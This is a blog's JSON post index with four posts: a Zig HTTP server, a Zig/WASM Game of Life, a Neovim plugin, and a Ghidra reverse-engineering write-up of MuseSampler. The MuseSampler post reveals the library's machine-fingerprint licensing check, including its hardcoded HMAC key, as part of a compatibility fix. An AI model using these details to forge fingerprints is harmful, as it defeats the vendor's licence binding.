[{"content":"If you\u0026rsquo;ve written network code in earlier versions of Zig or in C, then the patterns here will feel familiar. This post walks through building a minimal HTTP/1.1 server using nothing but the Zig standard library.\nThe full source code for this blog post is available as a self-contained main.zig and main-async.zig with no external dependencies other than the Zig 0.16 standard library on GitHub.\nA Brief History of I/O In Zig Zig 0.15.1 - \u0026ldquo;Writergate\u0026rdquo;: All existing std.io readers and writers were deprecated in favor of the new std.Io.Reader and std.Io.Writer. These are non-generic structs that hold both a vtable pointer and buffer. The buffer lives in the interface and not in the implementation.\nReferences:\nhttps://ziglang.org/download/0.15.1/release-notes.html#Writergate Zig 0.16 - Io Instance and \u0026ldquo;Juicy Main\u0026rdquo;: All input and output functionality requires being passed in an Io instance. In addition to this, the classic pub fn main() !void signature is replaced by adding a new parameter to main: std.process.Init or also known as \u0026ldquo;Juicy Main\u0026rdquo;.\nReferences:\nhttps://ziglang.org/download/0.16.0/release-notes.html#IO-as-an-Interface https://ziglang.org/download/0.16.0/release-notes.html#Juicy-Main The Two-Layer Model One thing that trips up newcomers is that there are two distinct \u0026ldquo;servers\u0026rdquo; in the code, however, they operate at different levels of the network stack and it\u0026rsquo;s worth keeping this in mind moving forward.\nThe TCP Server (std.Io.net) - binds a port, accepts connections, and gives you a raw byte stream. The HTTP Server (std.http.Server) - sits on top of that stream and parses it as HTTP/1.1. Code Explained const std = @import(\u0026#34;std\u0026#34;); const log = std.log.scoped(.server); const LISTEN_ADDR = \u0026#34;127.0.0.1\u0026#34;; const LISTEN_PORT = 8000; fn startServer(io: std.Io) !void { log.info(\u0026#34;Listening on http://{s}:{d}\u0026#34;, .{ LISTEN_ADDR, LISTEN_PORT }); const addr = std.Io.net.IpAddress.parseIp4(LISTEN_ADDR, LISTEN_PORT) catch unreachable; // TCP layer: bind the port and accept the raw streams var server = try addr.listen(io, .{ .reuse_address = true }); defer server.deinit(io); while (true) { log.info(\u0026#34;Waiting for connection...\u0026#34;, .{}); var stream = try server.accept(io); defer stream.close(io); log.info(\u0026#34;TCP connection established\u0026#34;, .{}); // Wrap the raw stream in buffered Io.Reader / Io.Writer var read_buffer: [1024]u8 = undefined; var write_buffer: [1024]u8 = undefined; var reader = stream.reader(io, \u0026amp;read_buffer); var writer = stream.writer(io, \u0026amp;write_buffer); // HTTP layer: parse the byte stream at HTTP/1.1 var http_server = std.http.Server.init(\u0026amp;reader.interface, \u0026amp;writer.interface); var req = try http_server.receiveHead(); log.info(\u0026#34;{s} {s}\u0026#34;, .{ @tagName(req.head.method), req.head.target }); try req.respond(\u0026#34;Hello World!\u0026#34;, .{ .status = .ok }); log.info(\u0026#34;Response sent, closing connection\u0026#34;, .{}); } } pub fn main(init: std.process.Init) !void { log.info(\u0026#34;Starting server\u0026#34;, .{}); try startServer(init.io); } Concurrency and Performance This server currently can only handle one connection at a time. If we want multiple connections and better performance we can do 4 things:\nstd.Io.Group - Each accepted connection is handed off to handleStream as it\u0026rsquo;s own async task. This lets the server accept new connections while existing ones are still being served. var group: std.Io.Group = .init; defer group.cancel(io); while (true) { const stream = try server.accept(io); group.async(io, handleStream, .{ io, stream }); } try group.await(io); Keep-alive connections - The inner while (true) loop in handleStream is the single biggest performance lever. Without it, every request pays the full cost of a TCP handshake. With it, wrk and real browsers can reuse the same connection for many requests. Running wrk at this stage results in a bunch of error.HttpConnectionClosign errors but we can handle it silently by just returning. while (true) { var req = http_server.receiveHead() catch |err| switch (err) { error.HttpConnectionClosing =\u0026gt; return, else =\u0026gt; return, }; req.respond(\u0026#34;Hello World!\u0026#34;, .{ .status = .ok }) catch |err| { log.err(\u0026#34;failed to respond: {}\u0026#34;, .{err}); }; } Buffer size - Read and write buffers are now set to 4096 bytes. The original 1024-byte buffers are small enough that a request with typical headers can require multiple reads to assemble. 4096 covers the vast majority of real-world requests in a single. Increasing the buffers to 8192 bytes shows minimal performance increases in benchmarks. No per-request logging: Logging every request through log.info is a significant bottleneck under load. Removing it from the hot path while keeping error logging was one of the more impactful changes for performance. If you need per-request logging in a production environment, we would batch log writes. Benchmark Command: wrk -t4 -c100 -d10s \u0026lt;url\u0026gt;\n4 Threads 100 Connections 10s Duration 4 threads and 100 connections Thread Stats Avg Stdev Max +/- Stdev Latency 24.41us 12.36us 3.03ms 77.19% Req/Sec 150.24k 4.42k 163.87k 71.29% 4528369 requests in 10.10s, 220.25MB read Requests/sec: 448351.64 Transfer/sec: 21.81MB For comparison, Caddy serving caddy respond \u0026quot;Hello World!\u0026quot;:\n4 threads and 100 connections Thread Stats Avg Stdev Max +/- Stdev Latency 210.64us 235.88us 5.07ms 86.67% Req/Sec 111.41k 1.73k 115.95k 75.50% 4478865 requests in 10.10s, 615.08MB read Requests/sec: 443457.86 Transfer/sec: 60.90MB ~448k vs ~443k req/s is essentially identical. This is ~50 lines of straightforward Zig standard library code matching a production-hardended server.\nThat said, this benchmark is about as favorable as it gets for a minimal server. A static \u0026ldquo;Hello World!\u0026rdquo; response with no routing, no middleware, and no \u0026ldquo;real\u0026rdquo; work to do is precisely the scenario where simplicity wins. In any benchmark that resembles real-world usage such as TLS termination, dynamic routing, HTTP/2, or serving static files - Caddy would pull ahead and by a lot. Matching its throughput on a toy benchmark is a fun result, but it says more about how well Zig\u0026rsquo;s standard library is designed than it does about production readiness. If you\u0026rsquo;re building something real, use the right tool for the job and Caddy is absolutely that for many use cases.\nWhy Zig 50 lines where you fully understand every allocation and what every line does is a valuable piece of code. It may not match or replace Caddy or other production-ready software but it\u0026rsquo;s about building something that you understand from start to finish and you can build upon; be it a reverse-proxy, a load-balancer, or something else.\n","permalink":"https://doprz.dev/blog/posts/zig-http-server/","summary":"\u003cp\u003eIf you\u0026rsquo;ve written network code in earlier versions of Zig or in C, then the patterns here will feel familiar. This post walks through building a minimal HTTP/1.1 server using nothing but the Zig standard library.\u003c/p\u003e\n\u003cp\u003eThe full source code for this blog post is available as a self-contained \u003ccode\u003emain.zig\u003c/code\u003e and \u003ccode\u003emain-async.zig\u003c/code\u003e with no external dependencies other than the Zig 0.16 standard library on \u003ca href=\"https://github.com/doprz/zig-http-server\"\u003eGitHub\u003c/a\u003e.\u003c/p\u003e\n\u003ch2 id=\"a-brief-history-of-io-in-zig\"\u003eA Brief History of I/O In Zig\u003c/h2\u003e\n\u003cp\u003e\u003cstrong\u003eZig 0.15.1\u003c/strong\u003e - \u0026ldquo;Writergate\u0026rdquo;: All existing \u003ccode\u003estd.io\u003c/code\u003e readers and writers were deprecated in favor of the new \u003ccode\u003estd.Io.Reader\u003c/code\u003e and \u003ccode\u003estd.Io.Writer\u003c/code\u003e. These are non-generic structs that hold both a vtable pointer and buffer. The buffer lives in the interface and not in the implementation.\u003c/p\u003e","title":"Writing a Simple yet Performant HTTP/1.1 Server in Zig 0.16"},{"content":"MuseScore Studio 4 on Void Linux (and other non-systemd distributions) fails to initialize its audio sampling engine, MuseSampler, with the following error:\nMuseSamplerLibHandler::init | Could not init lib MuseSamplerResolver::init | Could not init MuseSampler: /home/\u0026lt;username\u0026gt;/.local/share/MuseSampler/lib/libMuseSamplerCoreLib.so, version: 0.105.1 MuseScore launches and the UI works fine, but all MuseSounds instruments are unavailable. The same AppImage with the same MuseSounds installation works perfectly on Fedora Linux. This post documents the full investigation, including reverse engineering the closed-source libMuseSamplerCoreLib.so, and the fix.\nTesting Environment Void Linux (glibc), runit init Artix Linux, OpenRC init Fedora Linux, systemd init Initial Debugging Ruling Out Missing Dependencies The first suspicion was missing shared libraries. Running ldd on the sampler library showed all dependencies resolving cleanly with no not found entries. The system was running glibc, not musl, so libc compatibility was not the issue.\nTracing Runtime Behavior Since ldd was clean, the failure had to be happening during runtime initialization. Extracting the AppImage into a squashfs and running strace on the binary revealed the library was opening successfully (returning a valid file descriptor), but something during init was causing it to fail.\nsymbol lookup error: /home/\u0026lt;username\u0026gt;/.local/share/MuseSampler/lib/libMuseSamplerCoreLib.so: undefined symbol: _ZN3DRM9AntiDebug24scheduleThreadTimedCrashEv Demangled, this is DRM::AntiDebug::scheduleThreadTimedCrash() - a DRM callback that the sampler library expects the host binary to export. However, this error appeared on both the non-systemd operating systems and the working Fedora system, making it a red herring. The dynamic library handles this missing symbol gracefully.\nReverse Engineering with Ghidra Process Name Whitelist Reverse engineering libMuseSamplerCoreLib.so in Ghidra revealed the ms_init function. Near the top of the function is an early-exit check:\ncVar2 = FUN_00406510(); if (cVar2 == \u0026#39;\\0\u0026#39;) { return 0xffffffff; } Decompiling FUN_00406510 revealed a process name whitelist. The function reads the executable path (via /proc/self/exe or argv[0]), extracts the basename after the last /, and checks it against three strings:\n\u0026ldquo;MuseScore-4\u0026rdquo; \u0026ldquo;MuseScore-5\u0026rdquo; \u0026ldquo;mscore\u0026rdquo; The AppImage binary is named mscore4portable, which matches the last string. This seems to be a check to ensure the dynamic library is only initialized from within a legitimate MuseScore binary.\nInstrument Folder Validation Continuing deeper into ms_init, the next significant check was FUN_00405790. This function calls getenv(\u0026quot;MUSESAMPLER_INSTRUMENT_FOLDER\u0026quot;) and, if set, validates the path. If not set, it calls FUN_00405e40, which opens and parses the config file at ~/.local/share/MuseSampler/.config to find the instrument folder path. In this case, the config file contained: /home/\u0026lt;username\u0026gt;/Muse Sounds\nBoth code paths ultimately call FUN_00328cc0 to validate the instrument folder. Inside that function, it verifies the existence of a .instruments file inside the sounds folder, then calls FUN_00416390 which performs a machine fingerprint comparison.\nReverse Engineering the Fingerprint Check FUN_00416390 is the core validator. Its logic:\nVerifies \u0026lt;instrument_folder\u0026gt;/.instruments exists Calls FUN_0040d800 to compute a machine-specific fingerprint Base64-encodes that fingerprint: *(char *)((long)puVar8 + sVar14) = \u0026#34;ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/\u0026#34; [iVar5 \u0026gt;\u0026gt; ((char)uVar12 - 6U \u0026amp; 0x1f) \u0026amp; 0x3f]; Reads a stored fingerprint from .instruments via a separate lookup function Compares the two with bcmp - if they don\u0026rsquo;t match, init fails Decompiling FUN_0040d800 revealed exactly how the fingerprint is generated:\nstd::ifstream::ifstream((ifstream *)local_228,\u0026#34;/etc/machine-id\u0026#34;,8); // ... if (iVar5 == 0) { iVar5 = FUN_001d8160(local_260,\u0026#34;MuseHubIsAwesome\u0026#34;,0x11); // Sets HMAC key if (iVar5 != 0) goto LAB_0040d916; iVar5 = FUN_001d83e0(local_260,local_280,local_278); // Processes machine-id if (iVar5 != 0) goto LAB_0040d916; iVar5 = FUN_001d8400(local_260,\u0026amp;local_248); // Produces 32-bype output if (iVar5 != 0) goto LAB_0040d916; } The function reads /etc/machine-id, runs it through a keyed hash function using the hardcoded key \u0026quot;MuseHubIsAwesome\u0026quot;, and produces a 32-byte fingerprint. This fingerprint is base64-encoded and stored in .instruments when MuseSounds Manager downloads an instrument pack. On subsequent launches, MuseSampler recomputes the fingerprint and compares it against the stored value.\nThe Root Cause There are two distinct but related problems:\nProblem 1: Void Linux is missing /etc/machine-id. Void does not create /etc/machine-id by default. Its machine ID lives at /var/lib/dbus/machine-id. Since FUN_0040d800 exclusively reads /etc/machine-id, the fingerprint computation fails entirely on Void - the file simply isn\u0026rsquo;t there to read. This means MuseSounds Manager generates a bad or empty fingerprint when writing .instruments, and MuseSampler can never verify it successfully on subsequent launches.\nProblem 2: .instruments contains a bad fingerprint and needs to be regenerated. Even on Artix Linux, which does have /etc/machine-id, MuseSampler still failed on a fresh install. The fix in both cases was the same: delete .instruments and re-download an instrument pack, forcing MuseSounds Manager to regenerate it with a valid fingerprint. The exact reason MuseSounds Manager generates a bad .instruments on non-systemd distros on the first run is not fully clear, but may relate to the absence of a proper logind session when MuseSounds Manager first runs.\nThe Fix In order to fix this, it\u0026rsquo;s as simple as deleting the existing .instruments file, and re-download any instrument pack via MuseSounds Manager.\nrm ~/Muse\\ Sounds/.instruments Non-systemd distributions and others with /etc/machine-id missing will need to create a symlink to the dbus machine ID:\nsudo ln -s /var/lib/dbus/machine-id /etc/machine-id Affected Distributions Any Linux distribution that does not create /etc/machine-id by default will hit this issue. This includes Void Linux and potentially other non-systemd distributions.\nWhy Fedora Works Out of the Box Fedora uses systemd, which writes /etc/machine-id during first boot via systemd-machine-id-setup. MuseSounds Manager can read it successfully, generates a valid fingerprint, and stores it in .instruments. MuseSampler verifies it correctly on every subsequent launch. On non-systemd distros, something about the environment during the initial MuseSounds Manager run causes it to write a bad fingerprint into .instruments. On Void the cause is clear - /etc/machine-id simply doesn\u0026rsquo;t exist. On Artix the cause is less obvious but the symptom and fix are the same.\nSee Also MuseScore GitHub Issue #32911 - MuseSampler fails to initialize on non-systemd Linux distributions\n","permalink":"https://doprz.dev/blog/posts/reverse-engineering-musescore-musesampler-linux/","summary":"\u003cp\u003eMuseScore Studio 4 on Void Linux (and other non-systemd distributions) fails to\ninitialize its audio sampling engine, MuseSampler, with the following error:\u003c/p\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" style=\"color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;\"\u003e\u003ccode class=\"language-sh\" data-lang=\"sh\"\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eMuseSamplerLibHandler::init | Could not init lib\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eMuseSamplerResolver::init | Could not init MuseSampler: /home/\u0026lt;username\u0026gt;/.local/share/MuseSampler/lib/libMuseSamplerCoreLib.so, version: 0.105.1\n\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003cp\u003eMuseScore launches and the UI works fine, but all MuseSounds instruments are\nunavailable. The same AppImage with the same MuseSounds installation works\nperfectly on Fedora Linux. This post documents the full investigation, including\nreverse engineering the closed-source \u003ccode\u003elibMuseSamplerCoreLib.so\u003c/code\u003e, and the fix.\u003c/p\u003e","title":"Reverse Engineering MuseScore's MuseSampler Library"},{"content":"jujutsu.nvim This morning I got tired of context-switching and decided to do something about it. The result: my first Neovim plugin, written in Lua - jujutsu.nvim .\nA Bit of Background I recently migrated from Git to Jujutsu (jj), and honestly, it\u0026rsquo;s been a breath of fresh air. If you haven\u0026rsquo;t tried it, jj is a modern version control system that\u0026rsquo;s thoughtfully designed and surprisingly ergonomic once it clicks.\nThe workflow shift was smooth, but there was one rough edge: I lost the nice integration and developer experience of my old Neovim setup. Previously I used lazygit.nvim, which pops open a floating terminal running the lazygit TUI right inside Neovim. It\u0026rsquo;s seamless - one keymap, full VCS access, dismiss and you\u0026rsquo;re back to your code. With jj, I found myself reaching for a separate terminal window, a tmux pane, or alt-tabbing to run jj commands or launch jjui. It worked, but for something that I do a dozen times a day it felt like unnecessary friction.\nThe Plugin jujutsu.nvim brings jjui, the Jujutsu TUI, into a floating scratch terminal inside Neovim. One keymap opens it, another closes it, and you\u0026rsquo;re right back where you left off. No terminal switching, no tmux gymnastics, no lost context.\nIt\u0026rsquo;s straightforward by design. A focused tool that does one thing well - the Unix philosophy applied to a Neovim plugin.\nThere\u0026rsquo;s something genuinely surreal about seeing your own plugin scroll past in lazy.nvim\u0026rsquo;s update log and even more so knowing it\u0026rsquo;s now part of your daily workflow.\nWhy Build It? The honest answer: I couldn\u0026rsquo;t find it already existing, and the itch was too specific to wait for someone else to scratch it. Writing a Lua plugin for Neovim turned out to be far more approachable than I expected; the API is well-documented, the feedback loop is fast, and there\u0026rsquo;s a great ecosystem to learn from.\nThere\u0026rsquo;s something satisfying about solving your own problem with your own tools. The whole thing came together in a single morning session.\nWho Is This For? If you live inside Neovim and you\u0026rsquo;ve made the jump to Jujutsu (or you\u0026rsquo;re curious about it), jujutsu.nvim might be exactly what you\u0026rsquo;re missing. Check it out, open an issue, or send a PR. I\u0026rsquo;m just getting started with Lua plugin development and would welcome the feedback.\n","permalink":"https://doprz.dev/blog/posts/jujutsu-nvim/","summary":"\u003ch2 id=\"jujutsunvim\"\u003ejujutsu.nvim\u003c/h2\u003e\n\u003cp\u003e\u003cimg alt=\"jujutsu.nvim in action\" loading=\"lazy\" src=\"/blog/posts/jujutsu-nvim/jujutsu-nvim.png\"\u003e\u003c/p\u003e\n\u003cp\u003eThis morning I got tired of context-switching and decided to do something about it. The result: my first Neovim plugin, written in Lua - \u003ca href=\"https://github.com/doprz/jujutsu.nvim\"\u003ejujutsu.nvim\u003c/a\u003e .\u003c/p\u003e\n\u003ch2 id=\"a-bit-of-background\"\u003eA Bit of Background\u003c/h2\u003e\n\u003cp\u003eI recently migrated from Git to \u003ca href=\"https://github.com/jj-vcs/jj\"\u003eJujutsu (jj)\u003c/a\u003e, and honestly, it\u0026rsquo;s been a breath of fresh air.\nIf you haven\u0026rsquo;t tried it, jj is a modern version control system that\u0026rsquo;s thoughtfully designed and surprisingly ergonomic once it clicks.\u003c/p\u003e\n\u003cp\u003eThe workflow shift was smooth, but there was one rough edge: I lost the nice integration and developer experience of my old Neovim setup. Previously I used \u003ca href=\"https://github.com/kdheepak/lazygit.nvim\"\u003elazygit.nvim\u003c/a\u003e,\nwhich pops open a floating terminal running the lazygit TUI right inside Neovim. It\u0026rsquo;s seamless - one keymap, full VCS access, dismiss and you\u0026rsquo;re back to your code.\nWith jj, I found myself reaching for a separate terminal window, a tmux pane, or alt-tabbing to run \u003ccode\u003ejj\u003c/code\u003e commands or launch \u003ca href=\"https://github.com/idursun/jjui\"\u003ejjui\u003c/a\u003e.\nIt worked, but for something that I do a dozen times a day it felt like unnecessary friction.\u003c/p\u003e","title":"Writing my first Neovim plugin"},{"content":"This weekend I built Conway\u0026rsquo;s Game of Life in Zig with two build targets: a native terminal application and a WebAssembly module powering a React frontend. What started as an excuse to write more Zig turned into an interesting exercise in designing shared code across very different runtime environments.\nThe full source is available at https://github.com/doprz/zig_life\nWhy Zig? I\u0026rsquo;ve been drawn to Zig for its explicit memory management, lack of hidden control flow, and first-class WASM support. Building a cellular automaton felt like the right level of complexity; simple enough to finish in a weekend, complex enough to exercise the language\u0026rsquo;s strengths.\nI also set a secondary goal: zero external dependencies. No ncurses, no cImport, no third-party deps, just the Zig standard library and raw system calls. I wanted to understand what those libraries abstract away, and Zig\u0026rsquo;s thin libc wrapper made this practical without being painful.\nArchitecture I settled on the following modular file structure on the zig side:\nsrc ├── core.zig # Shared cgol logic ├── main.zig # Entry point for terminal build target ├── terminal.zig # ANSI terminal renderer + utils └── wasm.zig # WebAssembly exports The key constraint I set for myself was making core.zig depend only on the standard Zig library. It has no I/O dependencies or a specific allocator, allowing it to be portable across targets.\ncore.zig: The Heart of the Simulation The core module defines Cell and Grid.\nCell is pretty straightforward. It represents a cell\u0026rsquo;s state and has a helpful toggle method.\npub const Cell = enum(u8) { dead = 0, alive = 1, pub fn toggle(self: Cell) Cell { return if (self == .alive) .dead else .alive; } }; Using an enum(u8) gives us type safety while guaranteeing a single-byte representation. This is important for the WASM memory layout later.\nThe Grid struct holds the simulation state:\npub const Grid = struct { cells: []Cell, width: usize, height: usize, generation: u64 = 0, // ... }; Neighbor Counting /// Counts the number of alive neighbors surrounding the given cell. /// Only considers the 8 adjacent cells (excludes diagonals outside bounds). pub fn countNeighbors(self: *Self, x: usize, y: usize) u8 { var count: u8 = 0; const offsets = [_]i8{ -1, 0, 1 }; for (offsets) |dy| { for (offsets) |dx| { if (dx == 0 and dy == 0) continue; const nx = @as(isize, @intCast(x)) + dx; const ny = @as(isize, @intCast(y)) + dy; if (nx \u0026gt;= 0 and ny \u0026gt;= 0) { if (self.get(@intCast(nx), @intCast(ny)) == .alive) { count += 1; } } } } return count; } The Step Function Conway\u0026rsquo;s rules are beautifully simple: a live cell survives with 2-3 neighbors, a dead cell is born with exactly 3. The implementation uses double buffering to avoid the classic cellular automaton mistake of updating cells in-place:\npub fn step(self: *Self, scratch: []Cell) void { for (0..self.height) |y| { for (0..self.width) |x| { const neighbors = self.countNeighbors(x, y); const current = self.get(x, y); const idx = self.index(x, y); scratch[idx] = switch (current) { .alive =\u0026gt; if (neighbors == 2 or neighbors == 3) .alive else .dead, .dead =\u0026gt; if (neighbors == 3) .alive else .dead, }; } } @memcpy(self.cells, scratch[0..self.cells.len]); self.generation += 1; } The caller provides the scratch buffer. This keeps Grid allocation-free after initialization and lets different targets manage memory their own way.\nTerminal Rendering This is where the \u0026ldquo;no external dependencies\u0026rdquo; goal got interesting. Libraries like ncurses exist for good reasons; terminal handling is full of edge cases. But for a Game of Life, we only need a small subset of functionality: clear the screen, move the cursor, set colors, and query the terminal size.\nRaw ANSI Escape Codes The terminal renderer uses ANSI escape sequences directly:\nconst ESC = \u0026#34;\\x1b\u0026#34;; pub fn moveTo(self: *Self, x: usize, y: usize) !void { try self.writer.print(ESC ++ \u0026#34;[{d};{d}H\u0026#34;, .{ y + 1, x + 1 }); } pub fn setColor(self: *Self, fg: u8, bg: u8) !void { try self.writer.print(ESC ++ \u0026#34;[0;{d};{d}m\u0026#34;, .{ fg, bg }); } These escape sequences are standardized and work on virtually any modern terminal emulator. No library needed, just string formatting.\nTerminal Size via std.posix For responsive sizing, I needed to query the terminal dimensions. Zig\u0026rsquo;s standard library wraps the necessary POSIX types, so no @cImport required:\npub fn getTermSize(file: std.fs.File) TermSizeError!TermSize { if (!file.supportsAnsiEscapeCodes()) { return TermSizeError.Unsupported; } return switch (builtin.os.tag) { .linux =\u0026gt; { var ws: std.posix.winsize = undefined; const result = std.os.linux.ioctl(file.handle, std.posix.T.IOCGWINSZ, @intFromPtr(\u0026amp;ws)); if (result != 0) return TermSizeError.TerminalSizeUnavailable; return .{ .width = ws.col, .height = ws.row, }; }, else =\u0026gt; TermSizeError.Unsupported, }; } Buffered I/O in Zig 0.15.1 Zig 0.15 introduced a rewritten I/O system with explicit buffering. Instead of the old unbuffered getStdOut().writer(), you now pass your own buffer:\nvar stdout_buffer: [1024]u8 = undefined; var stdout_writer = std.fs.File.stdout().writer(\u0026amp;stdout_buffer); const stdout = \u0026amp;stdout_writer.interface; try stdout.print(\u0026#34;Hello World!\u0026#34;, .{}); try stdout.flush(); This is a nice design as buffering behavior is explicit and configurable. For terminal rendering, this matters: without buffering, each print call would be a separate write syscall, causing visible flicker as the screen updates. With a buffer sized to the grid, we batch all the escape codes and cell data into a single write, producing smooth, flicker-free updates and improved performance.\nThe render loop redraws the entire grid each frame. This is fine for now although a more efficient implementation would track dirty cells and only update changes. Weekend project constraints won.\nThe WASM Target This is where things get interesting. Zig\u0026rsquo;s WASM support is excellent. You set the target to wasm32-freestanding and the compiler handles the rest. But bridging the gap between Zig\u0026rsquo;s type system and JavaScript/TypeScript requires some care.\nwasm.zig: The Export Layer The WASM module is a thin wrapper around core.Grid:\nconst std = @import(\u0026#34;std\u0026#34;); const core = @import(\u0026#34;core.zig\u0026#34;); const allocator = std.heap.page_allocator; var wasm_grid: ?core.Grid = null; var wasm_scratch: ?[]core.Cell = null; export fn init(width: u32, height: u32) bool { wasm_grid = core.Grid.init(allocator, .{ .width = width, .height = height, }) catch return false; const size = width * height; wasm_scratch = allocator.alloc(core.Cell, size) catch return false; return true; } export fn deinit() void { if (wasm_grid) |*g| { g.deinit(allocator); wasm_grid = null; } if (wasm_scratch) |s| { allocator.free(s); wasm_scratch = null; } } A few things to note:\nGlobal state: WASM modules are singletons, so global variables are fine here. The ?core.Grid optional type lets us represent \u0026ldquo;not yet initialized.\u0026rdquo;\nPage allocator: For WASM, std.heap.page_allocator maps directly to memory.grow. It\u0026rsquo;s simple and works.\nMemory Cleanup: Resizing the browser window (which re-initializes the grid) causes a memory leak due to the previous memory allocation not being freed. This is now handled with deinit.\nZero-Copy Cell Access The most important optimization is exposing direct access to the cell buffer:\nexport fn getCellsPtr() ?[*]core.Cell { return if (wasm_grid) |g| g.cells.ptr else null; } export fn getCellsLen() usize { return if (wasm_grid) |g| g.cells.len else 0; } On the TypeScript side:\nexport interface CGOLWasm { memory: WebAssembly.Memory; // Match exports in src/wasm.zig init(width: number, height: number): boolean; deinit(): void; getCellsPtr(): number; getCellsLen(): number; // ... } let wasmInstance: CGOLWasm | null = null; export async function loadWasm(): Promise\u0026lt;CGOLWasm\u0026gt; { if (wasmInstance) return wasmInstance; const response = await fetch(\u0026#34;/zig_life_wasm.wasm\u0026#34;); const bytes = await response.arrayBuffer(); const { instance } = await WebAssembly.instantiate(bytes, {}); wasmInstance = instance.exports as unknown as CGOLWasm; return wasmInstance; } export function getCellsArray(wasm: CGOLWasm): Uint8Array { const ptr = wasm.getCellsPtr(); const len = wasm.getCellsLen(); return new Uint8Array(wasm.memory.buffer, ptr, len); } This returns a view into WASM linear memory, hence no copying. The renderer reads directly from this array every frame. For an 80×50 grid that\u0026rsquo;s 4,000 cells; copying that 60 times per second would add up. With zero-copy, it\u0026rsquo;s essentially free.\nThe trick works because Cell is a u8 under the hood (that enum(u8) declaration pays off here). JavaScript sees a flat byte array where 0 is dead and 1 is alive.\nBuild Configuration build.zig handles both build targets. Here is the wasm-specific build config:\n// WASM build const wasm_target = b.resolveTargetQuery(.{ .cpu_arch = .wasm32, .os_tag = .freestanding, }); const wasm = b.addExecutable(.{ .name = \u0026#34;zig_life_wasm\u0026#34;, .root_module = b.createModule(.{ .root_source_file = b.path(\u0026#34;src/wasm.zig\u0026#34;), .target = wasm_target, .optimize = .ReleaseSmall, }), }); wasm.entry = .disabled; wasm.rdynamic = true; Key settings:\n.entry = .disabled — WASM modules don\u0026rsquo;t have a main .rdynamic = true — Export all export fn symbols .optimize = .ReleaseSmall — Minimize binary size The resulting .wasm file is around 3KiB.\nThe React Frontend The web frontend is straightforward Bun, Vite, React, and TypeScript with a canvas. The interesting parts are the WASM integration and responsive sizing.\nResponsive Grid Sizing The grid dimensions are calculated from the viewport:\nuseEffect(() =\u0026gt; { const updateDimensions = () =\u0026gt; { const width = window.innerWidth; const height = window.innerHeight; const gridWidth = Math.floor(width / CELL_SIZE); const gridHeight = Math.floor(height / CELL_SIZE); setDimensions({ width, height }); setGridSize({ width: gridWidth, height: gridHeight }); console.log( `Window resized: ${width}x${height}, Grid size: ${gridWidth}x${gridHeight}`, ); }; updateDimensions(); window.addEventListener(\u0026#34;resize\u0026#34;, updateDimensions); return () =\u0026gt; window.removeEventListener(\u0026#34;resize\u0026#34;, updateDimensions); }, []); When grid size changes, another effect re-initializes the WASM module:\nuseEffect(() =\u0026gt; { if (gridSize.width \u0026gt; 0 \u0026amp;\u0026amp; gridSize.height \u0026gt; 0) { const success = wasm.init(gridSize.width, gridSize.height); if (success) { wasm.randomize(BigInt(Date.now()), DENSITY); setInitialized(true); } } // Free up allocations return () =\u0026gt; { wasm.deinit(); console.log(\u0026#34;wasm.deinit() called\u0026#34;); }; }, [wasm, gridSize]); That cleanup function in the return statement ensures memory is freed when the component unmounts or before re-initialization. This fixed a memory leak that was causing the tab to balloon in size after several resizes.\nRender Loop The render loop uses requestAnimationFrame with a timestamp check to control simulation speed:\nuseEffect(() =\u0026gt; { if (!initialized) return; const loop = (timestamp: number) =\u0026gt; { if (running \u0026amp;\u0026amp; timestamp - lastStepRef.current \u0026gt;= TICK_SPEED) { wasm.step(); lastStepRef.current = timestamp; } render(); animationRef.current = requestAnimationFrame(loop); }; animationRef.current = requestAnimationFrame(loop); return () =\u0026gt; cancelAnimationFrame(animationRef.current); }, [wasm, initialized, running, render]); This decouples the render rate (60fps) from the simulation rate (configurable via TICK_SPEED). The simulation can run at 10 generations per second while the canvas updates smoothly.\nCanvas Drawing The actual drawing is intentionally simple:\nconst render = useCallback(() =\u0026gt; { const canvas = canvasRef.current; const ctx = canvas?.getContext(\u0026#34;2d\u0026#34;); if (!canvas || !ctx || !initialized || gridSize.width === 0) return; const w = gridSize.width; const h = gridSize.height; const cells = getCellsArray(wasm); // Clear screen ctx.fillStyle = \u0026#34;#000\u0026#34;; ctx.fillRect(0, 0, canvas.width, canvas.height); ctx.fillStyle = \u0026#34;#d65d0e\u0026#34;; // Gruvbox orange for (let y = 0; y \u0026lt; h; y++) { for (let x = 0; x \u0026lt; w; x++) { const idx = y * w + x; // Cell is alive if (cells[idx] === 1) { ctx.fillRect(x * CELL_SIZE, y * CELL_SIZE, CELL_SIZE, CELL_SIZE); } } } }, [wasm, initialized, gridSize]); Clear the canvas, iterate over cells, draw filled rectangles for live cells. The Gruvbox orange on black gives it a nice retro terminal aesthetic.\nLessons Learned Zig\u0026rsquo;s standard library is surprisingly complete. I expected to need @cImport for the ioctl call, but std.posix and std.os.linux already expose the necessary types and functions. Truly zero dependencies—not even C headers.\nZig\u0026rsquo;s optionals are great for FFI. The ?T pattern naturally expresses \u0026ldquo;this might not be initialized yet\u0026rdquo; and the compiler forces you to handle both cases.\nZero-copy is worth the setup. Exposing raw pointers across the WASM boundary felt slightly dangerous, but the performance benefit is worth it.\nMemory management across boundaries requires thought. The resize memory leak was subtle. In pure Zig, you\u0026rsquo;d typically free in the same scope you allocated via a defer. With WASM + React, the lifecycles are driven by JS/TS, so you need explicit cleanup at those boundaries.\nZig\u0026rsquo;s build system is underrated. Configuring both native and WASM targets in a single build.zig with proper module dependencies just works. No CMake, no separate toolchains, no wasm-pack.\n","permalink":"https://doprz.dev/blog/posts/zig-life/","summary":"\u003cp\u003eThis weekend I built Conway\u0026rsquo;s Game of Life in Zig with two build targets: a native terminal application and a WebAssembly module powering a React frontend. What started as an excuse to write more Zig turned into an interesting exercise in designing shared code across very different runtime environments.\u003c/p\u003e\n\u003cp\u003eThe full source is available at \u003ca href=\"https://github.com/doprz/zig_life\"\u003ehttps://github.com/doprz/zig_life\u003c/a\u003e\u003c/p\u003e\n\u003ch2 id=\"why-zig\"\u003eWhy Zig?\u003c/h2\u003e\n\u003cp\u003eI\u0026rsquo;ve been drawn to Zig for its explicit memory management, lack of hidden control flow, and 